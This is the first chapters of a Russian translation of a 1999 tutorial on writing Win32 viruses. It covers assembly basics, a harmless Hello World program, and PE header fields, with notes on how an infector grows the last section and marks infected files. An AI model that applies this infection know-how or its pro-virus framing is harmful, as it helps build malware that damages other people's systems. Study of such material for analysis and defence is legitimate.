Путеводитель по написанию вирусов под Win32

Billy Belcebu

"Путеводитель по написанию вирусов под Win32"

[C] Billy Belcebu, пер. Aquila

© 2002 wasm.ru - all rights reserved and reversed

2002 Составитель Alexela
Вперед >>>


Путеводитель по написанию вирусов под Win32: 1. Введение

1. Введение

Дисклеймер переводчика

Серия туториалов "Путеводитель по написанию вирусов под Win32" предназначена для сугубо образовательных целей. По крайней мере именно это было целью перевода: предоставить людям информацию о формате PE-файла, работе операционной системы, таких полезных технологиях, как полиморфизм и многом другом, что может потребоваться кодеру в его нелегком пути к постижению дао программирования. То, как читатели используют эту информацию, остается на их совести.

Дисклеймер автора

Автор этого документа не ответственен за какой бы то ни было ущерб, который может повлечь неправильное использование данной информации. Цель данного туториала - это научить людей как создавать и побеждать ламерские YAM-вирусы :). Этот туториал предназначается только для образовательных целей. Поэтому, законники, я не заплачу и ломанного гроша, если какой-то ламер использует данную информацию, чтобы сделать деструктивный вирус. И если в этом документе вы увидите, что я призываю разрушать или портить чужие данные, идите и купите себе очки.

Несколько вводных слов

Привет, дорогие друзья,
вы помните "Путеводитель Billy Belcebu по написанию вирусов"? Это был большой туториал об устаревших в настоящее время вирусах под MS-DOS. В нем я рассказал о большинстве известных вирусных техник под DOS. Туториал был написан для начинающих, чтобы они стали чуть более продвинутыми. И вот я снова здесь и пишу еще один классный (я надеюсь) туториал, но в этот раз я буду говорить о новой угрозе нашего времени, вирусах под Win32, и, конечно, обо всем, что связано с этой темой. Я заметил отсутствие полноценного пособия и спросил себя, почему бы мне не написать его самому? Сказано - сделано :). Пионером в области Win32-вирусов была группа VLAD, а пионером в области туториалов на эту тему стал Lord Julus. Я не забыл о парне, который написал интересные туториалы и зарелизил их до Lord Julus'а, конечно, я говорю о JHB. Интересные техники были разработаны Murkry, а затем Jacky Qwerty... Я надеюсь, что не забыл никого, кто сыграл еще важную роль в короткой истории создания вирусов под Win32. Обратите внимания, что я не забыл о родоначальниках всего этого.

Как обычно, я хочу поблагодарить несколько музыкальных групп, таких как Blind Guardian, HammerFall, Stratovarius, Rhapsody, Marilyn Manson, Iron Maiden, Metallica, Iced Earth, RAMMS+EIN, Mago De Oz, Avalanch, Fear Factory, Korn, Hamlet и Def Con Dos. Их музыка создала прекрасную атмосферу для написания огромных туториалов и кода.

Структура этго туториала отличается от моих прежних пособий, теперь я поместил в начало краткое содержание, а весь приведенный код написан мной или основывается на чужом, но адаптирован. В очень редких случаях он попросту рипнут ;). Шучу. Но я действительно постарался избежать ошибок, допущенных мной в моих туториалах о вирусах под почти исчезнувший в наше время MS-DOS (RIP).

Я должен поблагодарить Super/29A, который помог мне при создании данного туториала, он был одним из моих бета-тестеров, а также пожертвовал кое-что для данного проекта.

ОБРАТИТЕ ВНИМАНИЕ: Английский не является моих родным языком, поэтому прошу извинить меня за возможные ошибки (вероятно, их довольно много) и сообщить мне о них, чтобы я мог учесть это при обновлениях данного документа (я помещу ник того, кто укажет мне на ошибки, наряду с благодарностью).

(Примечание переводчика: обратите внимание, что документ, который вы читаете, является переводом на РУССКИЙ. Информацию об ошибках в переводе следует слать переводчику, а не Billy Belcebu.)

--- Вот мои контактные данные (но не спрашивайте у меня всякую ерунду, у меня не так много времени)

 ¦ E-mail                                           billy_belcebu@mixmail.com
 ¦ Personal web page                        http://members.xoom.com/billy_bel
                                         http://www.cryogen.com/billy_belcebu

Sweet dreams are made of this...

(c) 1999 Billy Belcebu/iKX

Содержание

Кто-то (привет, Qozah!) сказал мне после чтения бета-версии этого туториала, что оно несколько хаотично, поэтому очень легко потеряться между главами. Я попытался реорганизовать туториал, хотя, возможно, мне это и не слишком удалось.

Дисклеймер Несколько вводных слов Содержание Что потребуется для написания вируса Краткое введение Заголовок PE Ring-3, кодинг на уровне пользователя Ring-0, кодинг на уровне бога Резидентность Оптимизация в Win32 Антиотладка в Win32 Полиморфизм в Win32 Продвинутые Win32-техники Приложение 1: полезная нагрузка Приложение 2: об авторе Заключение

Что потребуется для написания вирусов

Вот несколько программ, которые я хочу вам порекомендовать (если у вас нет денег, чтобы купить их... СКАЧАЙТЕ!) :)

  • Windows 95 или Windows NT или Windows 98 или Windows 3.x + Win32s :)
  • Пакет TASM 5.0 (который включает TASM32 и TLINK32)
  • SoftICE 3.23+ (или новее) для Win9X и для WinNT
  • Справочник по Win32 API
  • Win95 DDK, Win98 DDK, Win2000 DDK... короче все M$ DDK и SDK
  • Очень рекомендуется статья Мэтта Питрека о заголовке PE
  • Утилита Jacky Qwerty PEWRSEC
  • Несколько журналов, таких как 29A(#2+), Xine(#2+), VLAD($6), DDT(#1)...
  • Несколько вирусов под Windows, таких как Win32.Cabanas, Win95.Padania, Win32.Legacy...
  • Несколько эвристических антивирусов под Windows
  • "Нейромантик" Вильяма Гибсона, это священная книга
  • И это пособие, разумеется!

Я надеюсь, что не забыл ничего важного.

[C] Billy Belcebu, пер. Aquila
<<< Назад


Путеводитель по написанию вирусов под Win32: 2. Базовая информация

2. Базовая информация

Хорошо, начнем очищение вашей головы от концепций MS-DOS'овского программирования: чарующих 16-ти битных смещений, способов, как стать резидентными... все, что мы использовали годами, теперь стало абсолютно бесполезным. Да, теперь все это бесполезно. В данном пособии, когда я говорю о Win32, я подразумеваю Windows 95 (обычные, OSR1, OSR2), Windows 98, Windows NT или Windows 3.x + Win32s. Наиболее главное изменение, на мой взгляд, заключается в том, что прерывания были заменены функциями API, а 16-ти битные регистры и смещения были заменены 32-х битными. Да, Windows открыла двери другим языками программирования, кроме ассемблера (таким как C), но я останусь с ассемблером навсегда: в большинстве случаев он более понятен и удобен для оптимизирования (привет, Super!). Как я сказал несколькими строчками выше, вы должны использовать функции API. Вы должны знать, что параметры должны быть в стеке, а функции API вызываются с помощью call.

PS: Также я должен сказать, что называю Win95 (и все ее версии) и Win98 как Win9X, а Win2000 как Win2k. Учтите это.

Изменения между 16-ти и 32-х битным программированием

Как правило мы будем работать с двойными словами вместо слов, и это открывает перед нами новые возможности. У нас есть на два сегмента больше, кроме уже известных CS, DS, ES и SS: FS и GS. И у нас есть новые 32-х битные регистры: EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP. Давайте посмотрим, как играть с регистрами: представьте, что у нас есть доступ к нижнему слову EAX. Что мы можем сделать? До этой части можно добраться с помощью AX, который и является нижним словом EAX. Например, EAX = 00000000, а мы хотим поместить 1234h в его нижнее слово. Мы просто должны сделать "mov ax, 1234h" и все. Но что, если нам нужен доступ к верхнему слову EAX? Для этих целей мы не можем использовать регистр: мы должны прибегнуть к какой-нибудь из инструкций вроде ROL (или SHL, если значение нижнего слова для нас неважно).

Давайте продолжим и рассмотрим типичную программу, которую пишет кодер, изучая новый язык: "Hello, world!" :). "Hello, World" под Win32

Это очень легко. Мы должны использовать функцию API "MessageBoxA", поэтому мы определяем ее с помощью команды "extrn", а затем помещаем параметры в стек и вызываем эту функцию. Обратите внимание, что строки должны быть в формате ASCIIZ (ASCII, 0). Помните, что параметры должны помещаться в стек в перевернутом порядке.

;---[ CUT HERE ]-------------------------------------------------------------

                .386                            ; Процессор (386+)
                .model flat                     ; Использует 32-х битные
                                                ; регистры

 extrn          ExitProcess:proc                ; Функции API, которые
 extrn          MessageBoxA:proc                ; использует программа

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; С помощью директивы "extrn" мы указываем, какие API мы будем использовать;
 ; ExitProcess возвращает контроль операционной системе, а MessageBoxA      ;
 ; показывает классическое виндовозное сообщение.                           ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 .data
 szMessage       db      "Hello World!",0       ; Message for MsgBox
 szTitle         db      "Win32 rocks!",0       ; Title of that MsgBox

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Здесь мы не будем помещать данные настоящего вируса. Фактически, только  ;
 ; из-за того, что TASM отказывается ассемблировать код, если мы не поместим;
 ; здесь какие-нибудь данные. Как бы то ни было... Помещайте здесь данные   ;
 ; 1-го поколения носителя вашего вируса.                                   ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

                .code                           ; Поехали!

 HelloWorld:
                push    00000000h               ; Стиль MessageBox
                push    offset szTitle          ; Заголовок MessageBox
                push    offset szMessage        ; Само сообщение
                push    00000000h               ; Хэндл владельца

                call    MessageBoxA             ; Вызов функции

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; int MessageBox(                                                          ;
 ;   HWND hWnd,          // хэндл окна-владельца                            ;
 ;   LPCTSTR lpText,     // адрес текста сообщения                          ;
 ;   LPCTSTR lpCaption,  // адрес заголовка MessageBox'а                    ;
 ;   UINT uType          // стиль MessageBox'а                              ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Мы помещаем параметры в стек до вызова самой API-функции, и если вы      ;
 ; помните, стек построен согласно принципу LIFO (Last In First Out),       ;
 ; поэтому мы должны помещать параметры в перевернутом порядке (при всем    ;
 ; уважении к автору данного туториала, я должен сказать, что он не прав    ;
 ; вовсе не поэтому мы должны помещать данные в перевернутом порядке - прим.;
 ; пер.). Давайте посмотрим на краткое описание каждого из параметров этой  ;
 ; функции:                                                                 ;
 ;                                                                          ;
 ; ¦ hWnd: идентифицирует окно-владельца messagebox'а, который должен быть  ;
 ;   создан. Если этот параметр равняется NULL, у окна с сообщением не будет;
 ;   владельца.                                                             ;
 ; ¦ lpText: указывает на ASCIIZ-строку, содержащую сообщение, которое нужно;
 ;   отобразить.                                                            ;
 ; ¦ lpCaption: указывает на ASCIIZ-строку, содержащую заголовок окна       ;
 ;   сообщения. Если этот параметр равен NULL, будет использован заголовок  ;
 ;   по умолчанию.                                                          ;
 ; ¦ uType: задает флаги, которые определяют содержимое и поведение         ;
 ;   диалогового окна. Это параметр может быть комбинацией флагов.          ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

                push    00000000h
                call    ExitProcess

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; VOID ExitProcess(                                                        ;
 ;   UINT uExitCode      // код выхода для всех ветвей                      ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Эта функция эквивалентна хорошо известному Int 20h или функциям 00, 4С   ;
 ; Int 21h. Она просто завершает выполнение текущего процесса. У нее только ;
 ; один параметр:                                                           ;
 ;                                                                          ;
 ; ¦ uExitcode: задает код выхода для процесса и всех ветвей, выполнение    ;
 ;   которых будет прервано вызовом данной функции. Используйте функцию     ;
 ;   GetExitCodeProcess, чтобы получить код возврата процесса, а функцию    ;
 ;   GetExitCodeThread, чтобы получить код возврата треда.                  ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 end HelloWorld

;---[ CUT HERE ]-------------------------------------------------------------

Как вы можете видеть, это все очень просто программируется. а теперь, когда вы знаете, как сделать "Hello, world!", вы можете заразить весь мир ;).

Кольца

Я знаю, что все вы очень боитесь того, что сейчас последует, но, как продемонстрирую, все это на самом деле несложно. Вы должны уяснить: у процессора четыре уровня привилегий: Ring-0, Ring-1, Ring-2 и Ring-3, причем последний имеет больше всего ограничений, а первый подобен Валгалле для кодеров, почти полная свобода действий. Вспомните DOS, где мы всегда программировали в Ring-0... А теперь подумайте, что вы сможете делать то же самое под платформами Win32... Ладно, прекратим мечтать и начнем работать.

Ring-3 - это т.н. "пользовательский" уровень, на котором у нас множество ограничений. Кодеры Microsoft сделали ошибку, когда зарелизили Win95 и сказали, что она "незаражаема". Это было продемонстрировано еще до начала продаж системы Bizatch (которых еще неверно называли Boza, но это другая история). Программисты Microsoft думали, что вирус не сможет добраться до API. Но они не подумали об интеллектуальном превосходстве вирмейкеров... Конечно, мы можем писать вирус и на пользовательском уровне. Достаточно взглянуть на массу новых Win32 вирусов времени выполнения, которые релизятся в настоящее время, они все сделаны под Ring-3... Не поймите меня неверно, я не говорю, что это плохо, и между прочим, только Ring-3 вирусы могут работать под всеми версиями Win32. Они - будущее... в основном из-за того, что скоро будет релиз Windows NT 5.0 (или Windows 2000). Для успешной жизни вируса мы должны найти функции API (то, что написали Bizatch, размножалось плохо, потому что они "захардкодили" адреса API-функций, а они отличаются от версии к версии Windows), что мы можем сделать несколькими способами, о которых я расскажу позже.

Ring-0 - это другая история, очень отличная от Ring-3. Это уровень, на котором работает ядро. Разве это не прекрасно? Мы можем иметь доступ к портам, к местам, о которых не могли мечтать раньше... это почти что оргазм. Мы не можем выйти в Ring-0 без использования одного из специальных способов, таких как модификация IDT, техника "Call Gate", показанная SoPinKy/29A в 29A#3 или вставки в VMM, техника, продемонстрированная в вирусах Padania или Fuck Harry. Нам не нужны API-функции, так как мы работает напрямую с сервисами VxD и похоже, что их адреса одни и те же во всех версиях Win9x, поэтому мы можем их указывать явно. Я расскажу об этом подробнее во главе, посвященной Ring-0.

Важные сведения

Я думаю, что должен рассказать об этом вначале данного пособия, как бы то ни было, лучше об этом знать, чем не знать :). Хорошо, давайте поговорим о внутренностях наших Win32-операционных систем.

Во-первых, вы должны уяснить несколько концепций. Давайте начнем с селекторов. Что такое селектор? Это очень просто. Это очень большой сегмент, и эта форма Win32-памяти также называется плоской памятью. Мы можем напрямую обращаться к 4 гигабайтам памяти (4.294.967.295 байтов) используя только 32-х битные смещения. И как организованна эта память? Давайте взглянем на одну из диаграмм, которые я так люблю делать:

Обратите внимание на одну вещь: у WinNT последние две секции находятся отдельно от первых двух. Ладно, теперь я помещу определения, которые вы должны знать. В остальной части туториала я буду исходить из того, что вы о них помните.

¤ VA:

VA расшифровывается как Virtual Address (виртуальный адрес). Это адрес чего-нибудь, но в памяти (помните, что в Windowz вещи на диске и в памяти не обязательно эквиваленты).

¤ RVA:

RVA расшифровывается как Relative Virtual Address. Очень важно четко это понять. RVA - это смещение на что-то, относительно того места, куда промэппирован файл (вами или системой).

¤ RAW-данные:

RAW-данные - это имя, которое мы используем для обозначения данных так, как они есть физически на диске (данные на диске != данные в памяти).

¤ Виртуальные данные:

Виртуальные данные - это имя, которым мы называем данные, когда они загруженны системой в память.

¤ Файловый мэппинг:

Техника, реализованная во всех операционных системах Win32, которая позволяет производить различные действия с файлом быстрее и затрачивать при этом меньше памяти, а также она более удобна, чем способы, практиковавшиеся в DOS. Все, что мы изменяем в памяти, также изменяется на диске. Файловый мэппинг - это единственный способ обмениваться информацией между различными процессами, который работает во всех Win32-операционных системах.

Как компилировать программы

Черт, я почти забыл об этом :). Используются обычные параметры для компиляции ассемблерной программы под Win32. Все примеры в данном туториале компилируются со следующими параметрами (где 'program' - это имя файла .asm, но без какого-либо расширения):

        tasm32 /m3 /ml program,,;
        tlink32 /Tpe /aa program,program,,import32.lib
        pewrsec program.exe

Я надеюсь, что это достаточно ясно. Вы также можете использовать make-файлы или написть .bat, который будет делать все автоматически (как сделал я!).


Путеводитель по написанию вирусов под Win32: 3. Заголовок PE

3. Заголовок PE

Вероятно, это одна из самых важных глав данного пособия. Прочитайте его!

Введение

Очень важно хорошо представлять себе структуру заголовка PE-файла, чтобы писать наши виндовозные вирусы. В этой главе я перечислю все, что считаю наиболее важным, но здесь не вся информация о PE-файле, поэтому рекомендую взглянуть на документы, упомянутые в разделе "Что потребуется...".

Давайте рассмотрим каждую из этих частей поподробнее. Вот диаграмма в стиле Micheal J. O'Leary.

Теперь, когда вы получили общее представление о заголовке PE, эта чудесная (но несколько усложненная) вещь станет нашей новой целью. Хорошо-хорошо, у вас есть уже общее представление, но вам нужно знать внутреннюю структуру заголовка PE. Приготовьтесь!

IMAGE_FILE_HEADER

Я дам краткое описание (резюме того, что сказал в своем прекрасном документе о формате PE-файла Мэтт Питрек) полей IMAGE_FILE_HEADER.

¤ PE\0\0:

Это метка, которая есть у каждого PE-файла. Просто проверяйте ее существование при заражении файла. Если метки нет, то это не PE-файл, ок?

¤ Машина:

Так как компьютером, который мы используем может быть несовместим с PC (теоретически), а PE-файлы могут быть и на таких компьютерах, в этом поле указывается тип машины, для которой предназначается приложение. Это может быть одно из следующих значений:

 IMAGE_FILE_MACHINE_I386    equ  14Ch    ; Intel 386.
 IMAGE_FILE_MACHINE_R3000   equ  162h    ; MIPS little-endian,160h big-endian
 IMAGE_FILE_MACHINE_R4000   equ  166h    ; MIPS little-endian
 IMAGE_FILE_MACHINE_R10000  equ  168h    ; MIPS little-endian
 IMAGE_FILE_MACHINE_ALPHA   equ  184h    ; Alpha_AXP
 IMAGE_FILE_MACHINE_POWERPC equ  1F0h    ; IBM PowerPC Little-Endian

¤ Количество секций:

Это поле играет важную роль при заражении. Оно сообщает, сколько секций в файле.

¤ Временной штамп:

Содержит количество секунд, которое прошло с декабря 31-ого 1969 года с 4:00 до того момента, когда файл был слинкован.

¤ Указатель на таблицу символов

Не интересно, поскольку используется только в OBJ-файлах.

¤ Количество символов:

Не интересно, поскольку используется только в OBJ-файлах.

¤ Размер опционального заголовка:

Содержит количество байтов, которое занимает IMAGE_OPTIONAL_HEADER (смотри описание

¤ Характеристики:

Флаг дает нам еще кое-какую информацию о файле. Нам это не интересно.

IMAGE_OPTIONAL_HEADER

¤ Magic:

Так как это поле всегда равно 010Bh, похоже, что это какая-то сигнатура. Не интересно.

¤ Старшая и младшая версии линкера:

Версия линкера, который создал файл. Не интересно.

¤ Размер кода:

Количество байт (округленное) во всех секциях, содержащих исполняемый код.

¤ Размер инициализированных данных:

Предполагается, что здесь должен указываться общий размер всех секций с инициализированными данными.

¤ Размер неинициализированных данных:

Неинициализированные данные не занимают места на винте, но когда система загружает файл, она выделяет ему некоторое количество памяти (виртуальную память).

¤ Адрес точки входа:

Где загрузчик начнет выполнение кода. Это RVA относительно базы образа, когда система загружает файл. Очень интересно.

¤ База кода:

RVA, откуда начинаются секции файла с кодом. Секции с кодом обычно идут до секций с данными и после PE-заголовка. Для файлов, произведенных с помощью микрософтовских линкеров, этот RVA обычно равен 0x1000. TLINK32, похоже, добавляет к этому RVA базу образа и сохраняет результат в данном поле.

¤ База данных

RVA, откуда начинаются секции с данными. Они обычно идут последними после PE-заголовка и секций с кодом.

¤ База образа:

Когда линкер создает экзешник, он предполагает, что файл будет промэппирован в определенное место в памяти. Этот адрес и хранится в данном поле, делая возможным определенную оптимизацию со стороны линкера. Если файл действительно промэппирован по этому адресу, код не нуждается в каком-либо патчении перед запуском. В экзешниках, компилируемых для Windows NT, база образа по умолчанию равна 0x10000, а для DLL он по умолчанию равен 0x400000. В Win9x адрес 0x10000 не может использоваться при загрузке 32-х битных EXE, так как он находится внутри региона, разделяемого всеми процессами. Из-за этого Микрософт изменил адрес базы по умолчанию на 0x400000.

¤ Выравнивание секций:

При мэппировании секции выравниваются таким образом, чтобы они начинались с виртуального адреса, кратного данному значению. Выравнивание секций по умолчанию равно 0x1000.

¤ Файловое выравнивание:

В PE-файле raw-данные, представляющие каждую из секций, начинаются со значения, кратного данному параметру. По умолчанию он равен 0x200, вероятно, потому что тогда секции будут начинаться с начала сектора диска (который также равен 0x200 байтам). Это поле эквивалентно размеру выравнивания сегментов/ресурсов в NE-файлах. В отличии от NE-файлов, PE-файлы не имеют сотен секций, поэтому на файловое выравнивание уходит очень мало место.

¤ Старшая и младшая версии операционной системы:

Минимальная версия операционной системы, которая требуется для использования данной программы. Назначение данного поля не совсем ясно, так как поля подсистемы служат, похоже, той же самой цели. Это поле по умолчанию равно 1.0.

¤ Младшая и старшая версии образа:

Задаваемое пользователем поле. Оно позволяет вам иметь разные версии EXE или DLL. Вы можете установить значения этих полей с помощью опции линкера /VERSION. Например "LINK /VERSION:2.0 myobj.obj".

¤ Старшая и младшая версии подсистемы:

Содержат минимальную версию подсистемы, которая требуется для запуска данной программы. Типичное значение этого поля - 3.10 (что означает Windows NT 3.1).

¤ Зарезервировано1:

Похоже, что оно всегда равно 0 (идеально для метки заражения).

¤ Размер образа:

Похоже, что это полный размер всех частей образа, о которых должен позаботиться загрузчик. Это размер региона, начинающегося от базы образа до конца последней секции, который округляется до ближайшего числа, кратного выравниванию секций.

¤ Размер заголовков:

Размер PE-заголовка и таблицы секций (объектов). Raw-данные секций начинаются непосредственно после всех компонентов заголовка.

¤ Чексумма:

Предположительно CRC файла. Как и в других микрософтовских форматах исполняемых файлов, это поле игнорируется и устанавливается в 0. Есть одно исключение из этого правила: в доверенных (trusted) сервисах и EXE это поле должно содержать верную чексумму.

¤ Подсистема:

Тип подсистемы, используемой приложением для пользовательского интерфейса.

 NATIVE         1       Не требует подсистемы (например драйвер устройства)
 WINDOWS_GUI    2       Выполняется в подсистеме Windows GUI
 WINDOWS_CUI    3       Выполняется в символьной подсистеме Windows
                        (консольное приложение)
 OS2_CUI        5       Выполняется в символьной подсистеме OS/2 (только OS/2
                        1.x)
 POSIX_CUI      7       Выполняется в символьной подсистеме Posix

¤ Характеристики DLL:

Набор флагов, задающий при каких условиях будет вызываться функция инициализации DLL (например DLLMain). Похоже, что это значение всегда равно 0, тем не менее операционная система вызывает инициализацию DLL для всех 4-х событий.

 1      Вызывать инициализацию, когда DLL впервые загружается в адресное
        пространство процесса
 2      Вызывать инициализацию, когда тред завершает работу
 4      Вызывать инициализацию, когда тред начинает работу
 8      Вызывать инициализацию, когда DLL завершает свою работу

¤ Размер зарезервированного стека:

Количество виртуальной памяти, резервируемой для начального стека треда. Тем не менее, не вся эта память выделяется (смотри следующее поле). Это поле по умолчанию равно 0x100000. Если вы укажете 0 в качестве размера стека при создании треда функцией CreateThread, именно столько будет занимать стек нового треда.

¤ Размер выделенного стека:

Количество памяти, выделяемой для начального стека треда. Это поле по умолчанию равно 0x1000 (1 страница) у Microsoft Linker, в то время как TLINK32 делает это поле равным двум страницам.

¤ Размер зарезервированной кучи:

Количество виртуальной памяти, которое необходимо зарезервировать для начальной кучи процесса. Этот хэндл кучи можно получить, вызывав GetProcessHeap. Нет вся эта память выделяется (смотри следующее поле).

¤ Размер выделенной кучи:

Количество памяти, изначально выделяемой для кучи процесса. По умолчанию - одна страница.

¤ Флаги загрузчика:

Согласно WINNT.H эти поля относятся к поддержке отладки. Я никогда не видел экзешника с установленными битами этого поля, да и как заставить линкер их установить не совсем понятно.

1. Вызвать инструкцию точки прерывания перед запуском процесса 2. Вызвать отладчик после того, как процесс будет загружен в память

¤ Number Of Rva And Sizes:

Количество элементов в массиве DataDirectory (ниже). Современные компиляторы всегда устанавливает это поле равным 16.

IMAGE_SECTION_HEADER

¤ Имя секции:

Это 8-ми байтовое имя в формате ANSI (UNICODE), которая задает имя секции. Большая часть имен секций начинается с "." (например ".text"), но это не обязательное требование как утверждают некоторые руководства по формату PE. Вы можете назвать вашу секцию как хотите с помощью специальной директивы ассемблера или с помощью "#pragma data_seg" и "#pragma code_seg" в Microsoft C/C++ компиляторе. Важно учитывать, что если имя секции занимает 8 байт, то в конце не будет NULL-байта. Вы можете использовать %.8s с функцией printf, чтобы скопировать строку в другой буфер и добавить NULL в конце.

¤ Виртуальный размер:

Значение этого файла отличается в EXE и OBJ. В EXE он содержит реальный размер код или данных. Это размер до округления до ближайшего числа, кратного файловому выравниванию. Поле SizeOfRawData 'размер raw-данных' (похоже, названное не совсем верно) содержит округленное значение. Линкер Borland'а меняет значения этих двух полей и похоже, что он прав. Для OBJ файлов этой поле означает физический адрес секции. Первая секция начинается с адреса 0. Чтобы найти физический адрес следующей секции в OBJ-файле, добавьте значение SizeOfRawData к физическому адресу текущих секции.

¤ Виртуальный адрес:

В EXE это поле содержит RVA на то место, куда загрузчику следует промэппировать секцию. Чтобы посчитать реальный стартовый адрес данной секции в памяти и добавьте базовый адрес образа к виртуальному адресу (поле VirtualAddress). Микрософтовские инструменты по умолчанию указывают на RVA 0x1000. В OBJ'ах это поле не имеет значения и установлено в 0.

¤ Размер raw-данных:

В EXE это поле содержит округленный до кратного файловому выравниванию числа размер секции. Например, предположим, что файловое выравнивание равно 0x200. Если поле VirtualSize содержит значение 0x35A, в этом поле будет находиться 0x400. В OBJ'ах это поле содержит точный размер секции, созданной компилятором или ассемблером. Другими словами для OBJ это поле играет ту же роль, что и виртуальный размер в EXE.

¤ Указатель на raw-данные:

Это смещение на raw-данные, которое меняется от файла к файлу. Если ваша программа самостоятельно загружает файл PE или COFF в память (вместо того, чтобы позволить сделать это операционной системе), это поле более важно, чем VirtualAddress - по этому смещению вы найдете данные секций, а не по RVA, указанном в поле виртуального адреса.

¤ Указатель на релокейшены:

В OBJ'ах это смещение на информацию о релокейшенах данной секции. Информация о релокейшенах каждой секции OBJ следует непосредственно за raw-данными этой секции. В EXE это поле не имеет значения (как и следующее поле) и установлено в ноль. Когда линкер создает EXE, он устанавливает большую часть адресных записей (fixups), и только релокейшены адреса базы и импортируемых функций устанавливаются во время загрузки. Информация о релокейшенах базы и импортируемых функций находится в специальных секциях, поэтому в EXE нет необходимости держать информацию о релокейшенах после каждой секции raw-данных.

¤ Указатель на номера строк:

Это смещение на таблице номеров строк. Эта таблица соотносит номера строк исходного кода со сгенерированным кодом для каждой конкретной строки. В современных отладочных форматах, таких как формат CodeView, информация о номерах строк хранится как часть отладочной информации. В отладочном формате COFF, тем не менее, информация о номерах строк хранится отдельно от символьной информации о именах/типах. Обычно только секциим кода (такие как .text) требуется данная информация. В EXE-файлах номера строк собираются ближе к концу файла после raw-данных секций. В OBJ-файлах таблица номеров строк для секций находится после секции данных и таблицы релокейшенов для этой секции.

¤ Количество релокейшенов:

Количество релокейшенов в соответствующей таблице для данной секции (поле PointerToRelocations - 'указатель на релокейшены'). Похоже, что данное поле содержит верные данные только в OBJ'ах.

¤ Количество номеров строк:

Количество номеров строк в соответствующей таблице для данной секции.

¤ Характеристики:

То, что большинство программистов называет флагами, формат COFF/PE называет характеристиками. Это поле является множеством флагов, которые задают атрибуты секции (такие как код/данные, доступно ли для чтения или для записи). Чтобы получить полный список всех возможных аттрибутов секций, смотрите IMAGE_SCN_XXX_XXX #defin'ы в WINNT.H. Некоторые из важных флагов приведены ниже:

0x00000020 Эта секция содержит код. Обычно устанавливается вместе с флагом выполняемого кода (0x80000000).

0x00000040 Эта секция содержит инициализированные данные. Этот флаг есть почти у всех секций кроме секции выполняемого кода и .bss.

0x00000080 Эта секция содержит неинициализированные данные (например секция .bss).

0x00000200 Эта секция содержит комментарии или другой тип информации. Типичное использование данной секции - это секция .drectve, добавляемая компилятором и содержащая команды для линкера.

0x00000800 Содержимое этой секции не должно помещаться в конечный EXE-файл. Эти секции используются компилятором/ассемблером, чтобы передать информацию линкеру.

0x02000000 Эту секция можно выгрузить из памяти после загрузки (например секция с релокейшенами - .reloc).

0x10000000 Эта секция является разделяемой. Если используется вместе с DLL, данные в этой секции будут разделяться всеми процессами, ее использующими. По умолчанию секции данных являются неразделяемыми, и это означает, что каждый процесс, использующий DLL получает свою собственную копию этой секции данных. Если использовать техническую терминологию, флаг разделяемости говорит менеджеру загрузки, чтобы тот установил мэппинги страниц таким образом, чтобы все процессы, использующие DL ссылались на одну и ту же физическую страницу в памяти. Чтобы сделать секцию разделямой, используйте аттрибут SHARED во время линковки. Например:

LINK /SECTION:MYDATA,RWS ...

говорит линкеру, что секция под названием MYDATA должна быть доступной для чтения и записи, а также быть разделяемой.

0x20000000 Эта секция является исполняемой. Этот флаг обычно устанавливается везде, где установлен флаг кода (0x00000020).

0x40000000 Эта секция доступня для чтения. Этот флаг установлен почти для всех секций EXE-файла.

0x80000000 Эта секция доступна для записи. Если этот флаг не установлен в секции EXE, загрузчик должен пометить промэппированные страницы как доступные только для чтения или выполнения. Обычно такой аттрибут есть у секций .data и .bss. Что интересно, у секции .idata этот атрибут тоже установлен.

Необходимые изменения

Хорошо, здесь я объясню вам изменения, которые необходимо выполнить при заражении PE. Я предполагаю, что вы делаете вирус, который увеличивает размер последней секции PE-файла. Эта техника получила наибольшее распространение среди нас, да и она, между прочим, гораздо проще, чем добавление другой секции. Давайте посмотрим, как вирус может изменить заголовок исполняемого файла. Для этого мы используем программу INFO-PE Lord'а Julus'а [SLAM].

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

+ DOS-информация +

 Анализируемый файл: GOAT002.EXE

 DOS-отчеты:
              ¦ Размер файла          - 2000H      (08192d)
              ¦ Время создания файла  - 17:19:46   (hh:mm:ss)
              ¦ Дата создания файла   - 11/06/1999 (dd/mm/yy)
              ¦ Аттрибуты : архивный

 [...]

+ PE Header +

+ Опциональный заголовок PE +

+ Заголоки PE-секции +

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Это был нормальный незараженный файл. Ниже идет тот же самый файл, но зараженный моим Aztec'ом (Вирус-пример для Ring-3, смотри ниже).

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

+ DOS INFORMATION +

Анализируемый файл: GOAT002.EXE

 DOS-отчеты:
             ¦ Размер файла  - 2600H      (09728d)
             ¦ Время создания файла  - 23:20:58   (hh:mm:ss)
             ¦ Дата создания файла  - 22/06/1999 (dd/mm/yy)
